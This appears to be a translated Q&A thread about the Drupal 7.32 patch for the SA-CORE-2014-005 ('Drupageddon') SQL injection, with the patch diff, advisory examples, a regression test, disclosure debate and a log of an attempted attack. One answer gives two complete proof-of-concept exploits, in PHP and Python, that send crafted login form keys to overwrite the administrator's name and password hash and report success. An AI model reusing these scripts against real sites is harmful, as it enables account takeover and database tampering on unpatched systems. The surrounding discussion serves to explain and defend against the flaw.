Jakim atakom zapobiega łatka dla SA-CORE-2014-005 (Drupal 7.32)?

33

Czytanie na https://www.drupal.org/node/2357241 i szczegóły techniczne na https://www.drupal.org/SA-CORE-2014-005 , a także aktualną łatkę, która jest po prostu:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Zastanawiam się, jakiego rodzaju prośbę można wykorzystać, wykorzystując ten exploit?

Charlie Schliesser
źródło
Czy możemy bezpośrednio dokonać zmiany w rdzeniu? database.incplik?
Hitesh
@hitesh możesz po prostu załatać łatkę database.incz powyższej łatki (lub ręcznie, jest to oczywiście niewielka zmiana), ale zalecałbym również załatanie całego twojego Drupala w całości.
Charlie Schliesser
1
Dla tych, którzy nie zastanawiają się, jakie żądania wykorzystają błąd, ale czym tak naprawdę jest błąd, zamieściłem wyjaśnienie na stronie Programmers.SE .
RomanSt
Nawet po aktualizacji ktoś nadal może umieszczać pliki .php w moich witrynach. Sprawdziłem też menu_router - nic podejrzanego. Przeprowadziłem również audyt strony i drupalgetaddon
AgA

Odpowiedzi:

18

Firma, która znalazła błąd, ma kilka przykładów Poradnika 01/2014: Drupal - usterka przed Auth SQL Injection :

Wyciąg:

Funkcja zakłada, że ​​jest wywoływana z tablicą, która nie ma kluczy. Przykład:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Co powoduje, że ta instrukcja SQL

SELECT * from users where name IN (:name_0, :name_1)

z parametrami name_0 = user1i name_1 = user2.

Problem występuje, jeśli tablica ma klucze, które nie są liczbami całkowitymi. Przykład:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

skutkuje to nadającym się do wykorzystania zapytaniem SQL:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

o parametrach: name_test = user2.

Ponieważ Drupal używa PDO, dozwolone jest wiele zapytań. Tak więc SQL Injection może być używany do wstawiania dowolnych danych do bazy danych, zrzucania lub modyfikowania istniejących danych lub usuwania całej bazy danych.

Dzięki możliwości WSTAWANIA dowolnych danych do bazy danych osoba atakująca może wykonać dowolny kod PHP za pomocą funkcji Drupal z wywołaniami zwrotnymi.

Hans Rossel
źródło
Dzięki za udostępnienie, nie mogłem tego znaleźć na podstawie wyszukiwania na ten temat. The Problem occurs, if the array has keys, which are no integers- to i przykładowe zapytanie są dość pomocne w zrozumieniu tego.
Charlie Schliesser
19

Co się dzieje z 7.32 Sprawdzając moduł testowy. Możesz zobaczyć następujący test został dodany do 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Powinno to dać nieco więcej wglądu w sposób tworzenia ataku.

Dowód koncepcji Ponieważ minęło już wystarczająco dużo czasu i na wolności jest mnóstwo PoC.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Oto blog, który robi dobry podział: http://www.volexity.com/blog/?p=83

Cyfrowy ogień
źródło
Ten POC nie działa ....
Kyle Browning
Czy możesz opublikować POC, za pomocą którego haker może zastąpić $ data wartościami array_values ​​($ data) w database.inc?
Hans Rossel
Mogę potwierdzić, że działało to z waniliową witryną Drupal. To niefortunne ...
AyeshK
Jak powiedział @greggles, jest to trochę za wcześnie, nie każdy ma jeszcze notatkę. Proszę się powstrzymać.
pal4life
Pytanie - czy „? Q =” jest wymagane, aby ten atak zadziałał? mój serwer zdarza się upuszczać żądania z argumentem get q (lub Q lub odpowiedniki zakodowane w%). Po prostu ciekawy. Łagodziliśmy jakiś czas temu i nie widzieliśmy żadnych oznak wtargnięcia ani nic, ale zastanawiam się, czy nam się udało, odrzucając żądania q =?
Kasapo
16

Badacze, którzy znaleźli błąd, mają dowód koncepcji. Inni opracowali również dowody koncepcji. Jednak celowo nie publikują ich w celu zmniejszenia prawdopodobieństwa szerokiego wykorzystania. Powinniśmy uszanować te badania i powściągliwość, a nie zamieszczać tutaj przykładów.

Po pewnym czasie i uaktualnieniu witryn będzie bardzo interesujące, z naukowego punktu widzenia, przejrzenie kodu ataku typu proof-of-concept. Do tego czasu jest to niepotrzebne ryzyko i zwróć na siebie uwagę.

Kod w poradniku SektioinEins nie jest w pełni opracowanym przykładem tego, jak go wykorzystać. Szczegółowo opisują słabość, ale nie określają dokładnie, jak właściwie wykorzystać problem.


Od wydania tego numeru minęło już kilka tygodni, a SektionEins opublikował na swoim blogu kilka sprawdzonych koncepcji . Są one dość interesujące w porównaniu z wieloma innymi dowodami koncepcji, które zostały opracowane, ponieważ pozostawiają bardzo niewiele śladów ich aktywności (np. Nic w tabeli menu_router).

Greggles
źródło
4

Mogę potwierdzić, że ta luka będzie działać z każdą witryną Drupal 7.31 i niższymi, bez względu na to, które moduły są aktywne. Do wykorzystania tej podatności można wykorzystać każdą formę drupala.

Exploit jest dość prosty, więc PoC jest już na wolności. Byłem w stanie zaatakować własny serwer i zmienić hasło użytkownika jako anonimowy użytkownik w czystej instalacji Drupala, ale możliwości są nieograniczone.

Ten błąd był znany prawie 1 rok temu przez https://www.drupal.org/node/2146839, ale nikt z Zespołu Bezpieczeństwa Drupal nie odpowiedział.

Pari
źródło
To nie było zgłaszane jako problem bezpieczeństwa, prawda?
Alfred Armstrong
Został otagowany jako „#security”, priorytet „major”, stan „wymaga przeglądu”, i zawiera łatkę, która zasadniczo spełnia to, co robi łatka w 7.32. Być może #przed „bezpieczeństwem” ktoś nie widział tego, co miałoby inaczej, a może po prostu jest zbyt wiele problemów w kolejce. Wciąż zaskakujące, że nikt nie zareagował.
Charlie Schliesser
3
Nie zgłoszono tego jako problemu związanego z bezpieczeństwem, więc prawdopodobnie zespół bezpieczeństwa go nie widział. Ale tak, facet nie był pewien, czy to kwestia bezpieczeństwa, więc prawdopodobnie dlatego.
Berend de Boer
2
Zgłoszono to jako „żądanie funkcji”, nawet nie jako błąd. Nowe funkcje nie są akceptowane w stabilnej wersji rdzenia Drupala, więc normalne jest, że nie jest sprawdzane. Kwestie bezpieczeństwa nigdy nie powinny być publikowane publicznie, istnieje jasna strona, jak zgłaszać problemy bezpieczeństwa Drupal zespołowi bezpieczeństwa: drupal.org/node/101494
Hans Rossel
4

Zastanawiałem się, jak można to wykorzystać i ile czasu i wysiłku to zajmie? Dlatego zdecydowałem się zainstalować starszą wersję Drupal 7 na moim localhost i odtworzyć ten błąd. Odkryłem szokujący błąd, który daje każdemu, kto ma podstawową wiedzę na temat HTML / SQL, pełny dostęp do twojej strony Drupal.

Udało mi się wykonać iniekcję SQL do Drupala 7 za pomocą anonimowego użytkownika w mniej niż 30 minut!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

UWAGA: To nadal nie pozwoli ci się zalogować, ponieważ Drupal używa SHA512 z solą, więc nie można się zalogować. Celowo nie zamieściłem tutaj kodu, ale oczywiście każdy, kto ma odrobinę wiedzy na temat Drupala, będzie wiedział, jak go pokonać i skonstruować zapytanie, które da ci pełny dostęp!

To otwiera pytanie, na ile bezpieczny jest Drupal i kto jest odpowiedzialny za coś takiego? Najwyraźniej ten błąd był znany od ponad roku ( https://www.drupal.org/node/2146839 ), ale nikt nie zareagował na Drupal.org. Przypadkowo czy celowo? :)

tamerzg
źródło
1

Jest to poprawka luki w iniekcji SQL, w której do pola wprowadzania wstawiane są złośliwe instrukcje SQL, które mogą na przykład doprowadzić do zwolnienia zawartości bazy danych. Ta poprawka jest ważna do zastosowania tak szybko, jak to możliwe, zwłaszcza, że ​​ta luka może zostać wykorzystana przez anonimowych użytkowników.

Jeśli nie możesz natychmiast zaktualizować, zespół ds. Bezpieczeństwa może zastosować tę poprawkę, która zapewni taką samą ochronę, dopóki nie będziesz w stanie wykonać pełnej aktualizacji 1 . Zespół bezpieczeństwa przygotował również często zadawane pytania związane z tym problemem. Przełączenie witryny w tryb konserwacji nie pomoże i wyczyść pamięć podręczną po zastosowaniu aktualizacji lub upewnij się, że korzystasz z wersji 7.32.

Ponadto powinieneś sprawdzić, czy Twoja witryna nie została naruszona. Niektóre witryny już zgłaszają problemy. Oto jeden post na blogu, który sugeruje, jak sprawdzić, czy aktualizacja do Drupal 7.32 nie wystarczy, Twoja witryna może być już zhakowana

Stosuję poprawkę 15 października, a moje strony już zgłosiły, że ktoś próbuje wykorzystać tę lukę

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
Cayerdis
źródło